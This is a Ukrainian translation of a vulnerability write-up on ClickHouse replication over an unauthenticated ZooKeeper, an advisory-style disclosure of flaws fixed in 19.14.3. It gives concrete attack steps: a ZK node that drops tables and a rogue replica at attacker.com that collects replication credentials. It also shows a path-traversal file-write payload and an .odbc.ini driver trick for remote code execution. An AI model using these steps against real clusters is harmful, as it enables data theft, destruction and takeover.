Навіщо потрібно тримати клітини у зоопарку закритими

Навіщо потрібно тримати клітини у зоопарку закритими

У цій статті буде історія про одну дуже характерну вразливість у протоколі реплікації в ClickHouse, а також буде показано, як можна розширити площину атаки.

ClickHouse - це база даних для зберігання великих обсягів даних, найчастіше використовується більше однієї репліки. Кластеризація та реплікація в ClickHouse будуються поверх Apache ZooKeeper (ZK) та вимагають прав на запис.

Установка ZK за замовчуванням не вимагає аутентифікації, тому тисячі ZK серверів, що використовуються для конфігурації Kafka, Hadoop, ClickHouse доступні публічно.

Для скорочення площини атаки ви завжди повинні налаштовувати аутентифікацію та авторизацію під час встановлення ZooKeeper

Є, звичайно, кілька 0day на основі Java десеріалізації, але уявіть собі, що зловмисник може читати і писати в ZooKeeper, що використовується для реплікації ClickHouse.

При налаштуванні в кластерному режимі ClickHouse підтримує розподілені запити DDL, що проходять через ZK - для них вузли створюються в аркуші /clickhouse/task_queue/ddl.

Наприклад, ви створюєте вузол /clickhouse/task_queue/ddl/query-0001 із вмістом:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

а після цього на серверах кластера host1 та host2 таблиця test буде видалена. DDL також підтримує запуск запитів CREATE/ALTER/DROP.

Звучить страшно? Але де атакуючий зможе отримати адреси серверів?

Реплікація ClickHouse працює на рівні окремих таблиць, так що при створенні таблиці в ZK задається сервер, який відповідатиме за обмін метаданими з репліками. Наприклад, при виконанні запиту (ZK повинен бути налаштований, chXX - Ім'я репліки, foobar - Ім'я таблиці):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

будуть створені вузли стовпців и метадані.

вміст /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Чи можна злити дані із цього кластера? Так, якщо порт реплікації (TCP/9009) на сервері chXX-address не буде закрито firewall і не буде настроєно автентифікацію для реплікації. Як оминути автентифікацію?

Атакуючий може створити нову репліку в ZK, просто копіюючи вміст з /clickhouse/tables/01-01/foobar/replicas/chXX та змінюючи значення host.

вміст /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Потім треба сказати решті реплік, що на сервері атакуючого є новий блок даних, який їм треба забрати — створюється вузол у ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX монотонно зростаючий лічильник, який має бути більше, ніж останній у журналі подій):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

де source_replica - Ім'я репліки атакуючого, створеної на попередньому кроці, block_id - Ідентифікатор блоку даних, отримати - команда "get block" (а тут команди для інших операцій).

Далі кожна репліка читає нову подію в журналі та йде на сервер, підконтрольний зловмиснику, для отримання блоку даних (протокол реплікації двійковий, працює поверх HTTP). Сервер attacker.com отримуватиме запити:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

де XXX - і є дані аутентифікації реплікації. У деяких випадках це може бути обліковий запис з доступом до бази даних за основним протоколом ClickHouse та протоколом HTTP. Як ви бачили, площина атаки стає критично великою, тому що ZooKeeper, що використовується для реплікації, залишився без налаштованої автентифікації.

Давайте подивимося на функцію отримання блоку даних із репліки, вона написана з повною впевненістю, що всі репліки під правильним контролем і є довіра між ними.

Навіщо потрібно тримати клітини у зоопарку закритими
код обробки реплікації

Функція читає список файлів, потім їх імена, розміри, вміст, після чого пише їх у файловій системі. Варто окремо описати, як зберігаються дані у файловій системі.

Є кілька підкаталогів у /var/lib/clickhouse (каталог зберігання за замовчуванням із конфігураційного файлу):

прапори - каталог для запису прапори, що використовуються при відновленні після втрати даних;
tmp - каталог зберігання тимчасових файлів;
user_files - операції з файлами у запитах обмежені цим каталогом (INTO OUTFILE та інші);
метадані - Файли sql з описами таблиць;
preprocessed_configs - Оброблені похідні конфігураційні файли з /etc/clickhouse-server;
дані — власне каталог із самими даними, у разі для кожної бази просто створюється окремий підкаталог тут (наприклад /var/lib/clickhouse/data/default).

Для кожної таблиці створюється підкаталог у каталозі з базою даних. Кожен стовпець – окремий файл залежно від формату движка. Наприклад для таблиці foobar, створеною атакуючим, будуть створені такі файли:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Репліка очікує на отримання файлів з такими ж іменами при обробці блоку даних і не перевіряє їх у будь-який спосіб.

Уважний читач, ймовірно, вже чув про небезпечну конкатенацію file_name у функції WriteBufferFromFile. Так, це дозволяє атакуючому записати довільний контент у будь-який файл на ФС з правами користувача clickhouse. Для цього репліка, підконтрольна атакуючому, повинна повернути наступну відповідь на запит (для простоти розуміння додано переноси рядків):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

а після конкатенації ../../../../../../../../../tmp/pwned буде записаний файл /tmp/pwned із вмістом hellofromzookeeper.

Є кілька варіантів перетворення можливості запису файлів на віддалений запуск коду (RCE).

Зовнішні словники у RCE

У старих версіях каталог із налаштуваннями ClickHouse зберігався з правами користувача clickhouse за замовчуванням. Файли налаштувань є файлами XML, які сервіс читає під час запуску, а потім кешує в /var/lib/clickhouse/preprocessed_configs. За змін вони перечитуються. За наявності доступу до /etc/clickhouse-server атакуючий може створити власний зовнішній словник типу, що виконується, а потім виконати довільний код. Поточні версії ClickHouse не дають права за замовчуванням, але якщо сервер поступово оновлювався, такі права могли й залишитися. Якщо ви займаєтеся підтримкою кластера ClickHouse, перевірте права на каталог з налаштуваннями, він повинен належати користувачеві root.

ODBC у RCE

При встановленні пакета створюється користувач clickhouse, при цьому не створюється його домашній каталог /nonexistent. Однак при використанні зовнішніх словників або з інших причин адміністратори створюють каталог /nonexistent і дають користувачеві clickhouse доступ до запису до нього (ССЗБ! прим. перекладача).

ClickHouse підтримує ODBC може з'єднуватися з іншими базами даних. В ODBC можна вказати шлях до бібліотеки з драйвером бази даних (.so). Старі версії ClickHouse дозволяли провертати таке прямо в обробнику запитів, але тепер додана суворіша перевірка рядка з'єднання в odbc-bridgeтак що тепер неможливо вказати шлях до драйвера з запиту. Але атакуючий може писати до домашнього каталогу, використовуючи вразливість, описану вище?

Давайте створимо файл ~/.odbc.ini з таким вмістом:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

потім під час запуску SELECT * FROM odbc('DSN=lalala', 'test', 'test'); буде підвантажено бібліотеку test.so та отримано RCE (дякую buglloc за наведення).

Ці та інші уразливості були виправлені у версії ClickHouse 19.14.3. Бережіть свої ClickHouse та ZooKeepers!

Джерело: habr.com

Додати коментар або відгук